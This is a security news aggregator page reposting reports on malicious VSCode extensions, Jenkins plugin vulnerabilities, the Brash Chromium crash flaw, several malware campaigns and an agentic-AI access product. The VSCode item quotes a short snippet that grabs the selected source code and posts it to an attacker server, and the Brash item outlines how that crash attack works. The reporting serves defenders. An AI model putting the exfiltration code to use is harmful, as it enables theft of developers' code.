ADMIN.FOUNDATION

  • 12 Malicious Extension in VSCode Marketplace Steal Source Code and Exfiltrate Login Credentials

    ·

    , ,

    A recent discovery has shaken the Visual Studio Code (VSCode) ecosystem, unveiling a sophisticated supply chain attack targeting developers worldwide.

    At least a dozen malicious extensions were identified in the official VSCode Marketplace, with four remaining active as of the time of reporting.

    These plugins, some disguised as legitimate productivity tools, infiltrated developer environments, laying the groundwork for large-scale data exfiltration and credential theft.

    The growing reliance on IDE plugins and AI-powered code assistants has inadvertently broadened the attack surface, making such platforms appetizing targets for sophisticated attackers.

    The incident’s scope underscores the fragility of the software supply chain. Once installed, these extensions possess extensive access, enabling them to silently pilfer project code, sensitive data, and even clipboard contents.

    In several cases, the malicious payloads established persistent connections with attacker-controlled servers, effectively acting as covert backdoors within trusted coding environments.

    Notably, HelixGuard researchers were the first to identify the coordinated nature of these attacks, highlighting that certain plugins—such as Christine-devops1234.scraper and Kodease.fyp-23-s2-08—leveraged various exfiltration techniques ranging from simple HTTP POST requests to persistent socket connections.

    HelixGuard analysts uncovered that some variants actively monitored user code, configuration files, and even environment variables.

    One plugin, for example, repeatedly invoked functions like document.getText(selection) to harvest selected source code, transmitting the results via HTTP to remote endpoints:-

    let code = document.getText(selection);
code = code.split(" ").join("").toLowerCase();
axios.post('https://attacker-server/app', { code })

    By embedding such routine data collection in seemingly harmless background tasks, the extensions evade most basic security scans.

    While these is a typical infection chain that captures the stages from plugin installation to active data exfiltration and remote command execution.

    This campaign’s sophistication spotlights the pressing need for heightened vigilance, rigorous plugin vetting, and real-time marketplace monitoring among developer communities.

    Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

    The post 12 Malicious Extension in VSCode Marketplace Steal Source Code and Exfiltrate Login Credentials appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Multiple Jenkins Vulnerability SAML Authentication Bypass And MCP Server Plugin Permissions

    ·

    , ,

    The Jenkins project released Security Advisory 2025-10-29 on October 28, 2025, disclosing multiple vulnerabilities across 13 plugins that power the popular open-source automation server.

    These flaws range from high-severity authentication bypasses to permission misconfigurations and credential exposures, potentially exposing enterprise CI/CD pipelines to unauthorized access and code execution.

    While fixes are available for two critical issues in the SAML and MCP Server plugins, most others remain unresolved, urging immediate updates where possible and vigilant monitoring.

    The advisory highlights a replay vulnerability in the SAML Plugin (SECURITY-3613, CVE-2025-64131), rated high severity with a CVSS score of 7.5.

    Versions up to 4.583.vc68232f7018a_ lack a replay cache, enabling attackers who intercept SAML authentication flows such as through network sniffing or man-in-the-middle attacks to replay requests and impersonate users.

    This could grant full access to Jenkins instances handling sensitive builds, especially in federated environments using single sign-on.

    The fix in version 4.583.585.v22ccc1139f55 introduces a replay cache to block duplicates, a straightforward mitigation that administrators should prioritize.

    Complementing this, the MCP Server Plugin suffers from missing permission checks (SECURITY-3622, CVE-2025-64132), a medium-severity issue (CVSS 5.4) affecting versions up to 0.84.v50ca_24ef83f2.

    Attackers with basic Item/Read access can extract SCM configurations, trigger unauthorized builds, or list cloud setups without proper privileges via tools like getJobScm, triggerBuild, and getStatus.

    This escalates risks in multi-user setups, allowing lateral movement within Jenkins. Updating to 0.86.v7d3355e6a_a_18 enforces these checks, closing the gap effectively.

    Widespread CSRF, XXE, and Credential Exposures

    Beyond these, the advisory uncovers a cluster of medium- to high-severity flaws in other plugins, including CSRF vulnerabilities and improper credential handling.

    For instance, the Extensible Choice Parameter Plugin (SECURITY-3583, CVE-2025-64133) exposes a CSRF endpoint (CVSS 4.3) that lets unauthenticated users execute sandboxed Groovy code via tricked interactions, with no fix yet available.

    Similarly, the JDepend Plugin’s outdated XML parser (SECURITY-2936, CVE-2025-64134, CVSS 7.1) enables XXE attacks for secret extraction or SSRF when processing crafted reports.

    Credential storage issues plague several plugins: OpenShift Pipeline (CVE-2025-64143), ByteGuard Build Actions (CVE-2025-64144), and Curseforge Publisher (CVE-2025-64146) all save tokens or API keys in plain text within job config.xml files, viewable by users with Extended Read access (CVSS 4.3 each).

    The azure-cli Plugin goes further with shell command injection (SECURITY-3538, CVE-2025-64140, CVSS 8.8), allowing arbitrary controller execution for those with Item/Configure rights no fix in sight.

    Plugins like Themis, Start Windocks Containers, Nexus Task Runner, and Publish to Bitbucket also feature CSRF and missing checks that could leak credentials or connect to malicious URLs (CVSS 4.3–5.4).

    The Eggplant Runner Plugin disables a Java HTTP auth protection (SECURITY-3326, CVE-2025-64135, CVSS 5.9), reintroducing risks from CVE-2016-5597.

    Mitigations

    These vulnerabilities underscore Jenkins’ expansive plugin ecosystem’s double-edged sword: versatility at the cost of security if not maintained.

    With over 1,800 plugins, unpatched instances in corporate networks could face exploitation chains, from auth bypass to RCE, amplifying supply chain threats in software development.

    No exploits in the wild are reported yet, but the advisory’s timing aligns with rising CI/CD attacks.

    CVE IDPluginSeverity (CVSS v3.1)Affected VersionsDescription SummaryFixed?
    CVE-2025-64131SAMLHigh (7.5)≤4.583.vc68232f7018a_Replay attack in auth flowYes (4.583.585.v22ccc1139f55)
    CVE-2025-64132MCP ServerMedium (5.4)≤0.84.v50ca_24ef83f2Missing permission checks for toolsYes (0.86.v7d3355e6a_a_18)
    CVE-2025-64133Extensible ChoiceMedium (4.3)≤239.v5f5c278708cfCSRF enabling Groovy executionNo
    CVE-2025-64134JDependHigh (7.1)≤1.3.1XXE via outdated XML parserNo
    CVE-2025-64135Eggplant RunnerMedium (5.9)≤0.0.1.301.v963cffe8ddb_8Disables Java auth protectionNo
    CVE-2025-64136/64137ThemisMedium (4.3)≤1.4.1CSRF & missing check for URL connectNo
    CVE-2025-64138/64139Windocks ContainersMedium (4.3)≤1.4CSRF & missing check for URL connectNo
    CVE-2025-64140azure-cliHigh (8.8)≤0.9Arbitrary shell command injectionNo
    CVE-2025-64141/64142Nexus Task RunnerMedium (4.3)≤0.9.2CSRF & missing check for URL/cred connectNo
    CVE-2025-64143OpenShift PipelineMedium (4.3)≤1.0.57Plain text token storageNo
    CVE-2025-64144/64145ByteGuard Build ActionsMedium (4.3)≤1.0Plain text API token storage & maskingNo
    CVE-2025-64146/64147Curseforge PublisherMedium (4.3)≤1.0Plain text API key storage & maskingNo
    CVE-2025-64148Publish to BitbucketMedium (4.3)≤0.4Enumerates credential IDsNo
    CVE-2025-64149/64150Publish to BitbucketMedium (5.4)≤0.4CSRF & missing check for URL/cred captureNo

    Organizations should audit plugins, apply SAML and MCP fixes immediately, disable unused ones, and enable CSRF protections. The Jenkins team credits reporters for proactive disclosure, emphasizing community vigilance in this foundational tool.

    Follow us on Google News, LinkedIn, and X for daily cybersecurity updates. Contact us to feature your stories.

    The post Multiple Jenkins Vulnerability SAML Authentication Bypass And MCP Server Plugin Permissions appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Threat Actors Abuse AzureHound Tool to Enumerate Azure and Entra ID Environments

    ·

    , ,

    The cybersecurity landscape continues to shift toward cloud-based attacks, with threat actors increasingly exploiting legitimate security tools for malicious reconnaissance. AzureHound, a penetration testing utility designed for authorized security professionals, has become a weapon of choice for attackers seeking to understand and compromise Azure and Microsoft Entra ID environments. Understanding the Threat AzureHound is a […]

    The post Threat Actors Abuse AzureHound Tool to Enumerate Azure and Entra ID Environments appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Lampion Stealer Resurfaces with ClickFix Attack to Steal User Credentials Stealthily

    ·

    , ,

    A Brazilian cybercriminal group has refined its long-running malware distribution campaign by incorporating innovative social engineering techniques and multi-stage infection chains to deliver the Lampion banking trojan. The campaign, which has operated continuously since at least June 2024 following its initial discovery in 2019, demonstrates the threat actor’s commitment to operational stealth and evasion. The […]

    The post Lampion Stealer Resurfaces with ClickFix Attack to Steal User Credentials Stealthily appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Critical Vulnerability in Chromium’s Blink Let Attackers Crash Chromium-based Browsers Within Seconds

    ·

    , , , ,

    Security researcher Jofpin has disclosed “Brash,” a critical flaw in Google’s Blink rendering engine that enables attackers to crash Chromium-based browsers almost instantly.

    Affecting billions of users worldwide, this architectural weakness exploits unchecked updates to the document.title API, overwhelming the browser’s main thread and triggering system-wide denial of service without sophisticated tools or privileges.

    The vulnerability stems from Blink’s lack of rate limiting on title changes, allowing malicious JavaScript to flood the DOM with millions of mutations per second.

    As detailed in Jofpin’s proof-of-concept on GitHub, the attack unfolds in three phases: pre-generating high-entropy strings to avoid CPU overhead, injecting bursts of up to 24 million updates, and saturating the UI thread until collapse.

    Browsers freeze within 15 to 60 seconds, spiking CPU usage to extremes that degrade overall system performance and halt concurrent processes.

    Tested versions up to Chromium 143.0.7483.0 remain vulnerable, including Chrome, Edge, Opera, Brave, and Vivaldi on desktop, Android, and embedded devices.

    Widespread Impact On Chromium Ecosystem

    Brash’s reach is staggering, potentially exposing over 3 billion internet users to disruption since Chromium powers the majority of browsers.

    On macOS, Windows, and Linux, Chrome crashes in 15-30 seconds under extreme settings, while slower variants like Brave take up to two minutes.

    BrowserCrash Time
    Chrome15-30 seconds
    Edge15-25 seconds
    Vivaldi15-30 seconds
    Arc Browser15-30 seconds
    Dia Browser15-30 seconds
    Opera~60 seconds
    Perplexity Comet15-35 seconds
    ChatGPT Atlas15-60 seconds
    Brave30-125 seconds

    Non-Chromium browsers escape unscathed: Firefox’s Gecko engine and Safari’s WebKit prove immune, as does iOS’s enforced WebKit policy, which bars native Chromium apps.

    The exploit’s simplicity amplifies its threat. A live demo at brash.run simulates the attack invisibly, while local PoCs let users tweak intensity moderate for observation, extreme for rapid failure.

    Code snippets enable easy integration, with options for delayed or scheduled triggers, turning benign pages into timed bombs.

    Attackers could weaponize Brash in devastating ways. Time-delayed payloads lurk in phishing links, activating during high-stakes moments like stock trades or meetings, evading quick scans.

    In AI-driven enterprises, it poisons headless browsers used for web scraping, paralyzing automated trading or compliance checks.

    More alarmingly, scenarios envision life-threatening chaos: a surgeon’s web-assisted procedure derailed mid-operation, or a flash crash on Wall Street as traders’ terminals fail en masse during market open.

    Banking fraud teams, too, face paralysis, allowing millions in unchecked transactions during peak volumes like Black Friday.

    Jofpin emphasizes this as a design oversight, not a mere bug, urging Chromium developers to implement throttling. As the exploit remains operational until patched, users should exercise caution with untrusted sites.

    Google has yet to respond publicly, but the disclosure highlights the need for robust safeguards in core web tech.

    In an era of browser-dependent operations from finance to healthcare, such flaws underscore the web’s precarious balance between openness and security.

    Follow us on Google News, LinkedIn, and X for daily cybersecurity updates. Contact us to feature your stories.

    The post Critical Vulnerability in Chromium’s Blink Let Attackers Crash Chromium-based Browsers Within Seconds appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Critical Blink Vulnerability Lets Attackers Crash Chromium Browsers in Seconds

    ·

    , , , ,

    Security researchers have discovered a critical architectural flaw in the Blink rendering engine that powers Chromium-based browsers, exposing over 3 billion users to denial-of-service attacks. The vulnerability, called Brash, allows malicious actors to completely crash Chrome, Edge, Brave, Opera, and other Chromium browsers within 15 to 60 seconds through a simple code injection. The attack exploits […]

    The post Critical Blink Vulnerability Lets Attackers Crash Chromium Browsers in Seconds appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Aembit Introduces Identity and Access Management for Agentic AI

    ·

    Silver Spring, USA/ Maryland, October 30th, 2025, CyberNewsWire

    • The new capabilities, anchored by Blended Identity and the MCP Identity Gateway, give enterprises a secure and auditable way to manage how AI agents identify themselves and access sensitive systems.

    Aembit today announced the launch of Aembit Identity and Access Management (IAM) for Agentic AI, a set of capabilities that help organizations safely provide and enforce access policies for AI agents as they move into production.

    The release introduces Blended Identity, which defines how AI agents act on behalf of verified users, and the MCP Identity Gateway, which ensures secure access to enterprise resources based on identity, access policy, and runtime attributes.

    The new offering extends the Aembit Workload IAM Platform to address one of the most pressing operational questions in artificial intelligence and modern IT: how to control what autonomous and user-driven AI agents can access, under what conditions, and with what accountability.

    AI agents are rapidly becoming a key part of enterprise operations.

    Nearly half of technology executives say they are already adopting or fully deploying agentic AI, and about the same share expect most of their AI deployments to be autonomous within two years, according to an EY survey.

    These agents retrieve sensitive data, open tickets, and execute code across cloud, on-premises, and SaaS environments.

    Yet most access models were built for people, not self-directed software. Many still rely on static secrets and shared credentials, creating risk and obscuring accountability.

    Worse yet, agents’ actions are often hidden behind the identity of a human, making it almost impossible to audit the actions each actor has taken. The result is a widening gap between the pace of AI adoption and the ability of organizations to secure it with confidence.

    Aembit IAM for Agentic AI assigns each agent a cryptographically verified identity, issues ephemeral credentials, and enforces policy at runtime.

    The system records every access decision and maintains attribution across both human-driven and autonomous agent activity.

    By bringing agent activity under the same centralized policy control plane that governs other workloads, Aembit enables enterprises to deploy AI at scale while maintaining control, auditability, and compliance.

    “Enterprises want to say yes to agentic AI, and they’re asking Aembit for ways to securely grant agents access to data and applications,” said David Goldschlag, co-founder and CEO of Aembit.

    “Aembit IAM for Agentic AI gives enterprises the same level of control and audit over agent access that IAM systems have long provided for employees. Our approach enables organizations to advance their AI initiatives without expanding their threat and risk surface.”

    The release introduces two core capabilities to the Aembit Workload IAM Platform:

    • Blended Identity, which gives every AI agent its own verified identity and, when needed, binds it to the human it represents. This establishes a single, traceable identity for each agent action and allows Aembit to issue a secure credential that reflects that combined context.
    • MCP Identity Gateway, which receives that identity credential and controls how agents connect to tools through the Model Context Protocol (MCP). The gateway authenticates the agent, enforces policy, and performs token exchange to securely retrieve the necessary access permissions for each connected resource – without ever exposing them to the agent runtime.

    Together, this functionality allows enterprises to apply least-privilege access, revoke permissions immediately when needed, and ensure that every AI action is attributable and auditable.

    They operate on Aembit’s established Workload IAM foundation, which enforces policy dynamically at runtime, issues ephemeral credentials just in time, and records structured events for full traceability.

    Aembit developed IAM for Agentic AI through collaboration with large businesses, government organizations, and innovative agentic AI startups deploying AI for operational and security workloads.

    Those efforts helped shape an approach that combines enterprise enforcement with the adaptability AI projects demand.

    “AI agents don’t live inside one stack or trust domain,” said Kevin Sapp, co-founder and CTO of Aembit. “They move between hybrid environments in seconds.

    With Aembit, every agent carries a verified identity that our gateway can authenticate and control in real time. It’s how enterprises can give agents the access they need to work, while never losing sight of who they are or what they touch.”

    Aembit IAM for Agentic AI is now available to customers using its Workload IAM Platform. Organizations can learn more, request a demo, or get started today at aembit.io.

    About Aembit

    Aembit is the identity and access management platform for agentic AI and workloads. It enforces access based on identity, context, and centrally managed policies, giving organizations a singular place to control access risk from AI agents, automate credential management, and accelerate AI adoption.

    With Aembit, enterprises can confidently control access to sensitive resources across all the workloads that power their business.

    Contact

    Apurva Dave

    Aembit

    info@aembit.io

    The post Aembit Introduces Identity and Access Management for Agentic AI appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Aembit Introduces Identity and Access Management for Agentic AI

    ·

    Silver Spring, USA/ Maryland, October 30th, 2025, CyberNewsWire Aembit today announced the launch of Aembit Identity and Access Management (IAM) for Agentic AI, a set of capabilities that help organizations safely provide and enforce access policies for AI agents as they move into production. The release introduces Blended Identity, which defines how AI agents act […]

    The post Aembit Introduces Identity and Access Management for Agentic AI appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Jenkins Flaws Expose SAML Authentication Bypass and MCP Server Plugin Weaknesses

    ·

    , , , ,

    Jenkins automation server users face critical security threats following the disclosure of 14 distinct vulnerabilities spanning multiple plugins. The security advisory reveals a widespread pattern of authentication bypass mechanisms, missing permission enforcement, and credential exposure issues that collectively put enterprise CI/CD infrastructure at serious risk. SAML Authentication Bypass Threatens User Sessions The most critical flaw […]

    The post Jenkins Flaws Expose SAML Authentication Bypass and MCP Server Plugin Weaknesses appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Airstalk Malware: Multi-Threaded C2 Steals Windows Logins

    ·

    , , ,

    Cybersecurity researchers have uncovered a sophisticated Windows malware family dubbed Airstalk, which leverages legitimate mobile device management infrastructure to establish covert command-and-control communications and exfiltrate sensitive browser credentials. The malware, available in both PowerShell and .NET variants, has been linked with medium confidence to a nation-state threat actor operating through a likely supply chain attack […]

    The post Airstalk Malware: Multi-Threaded C2 Steals Windows Logins appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶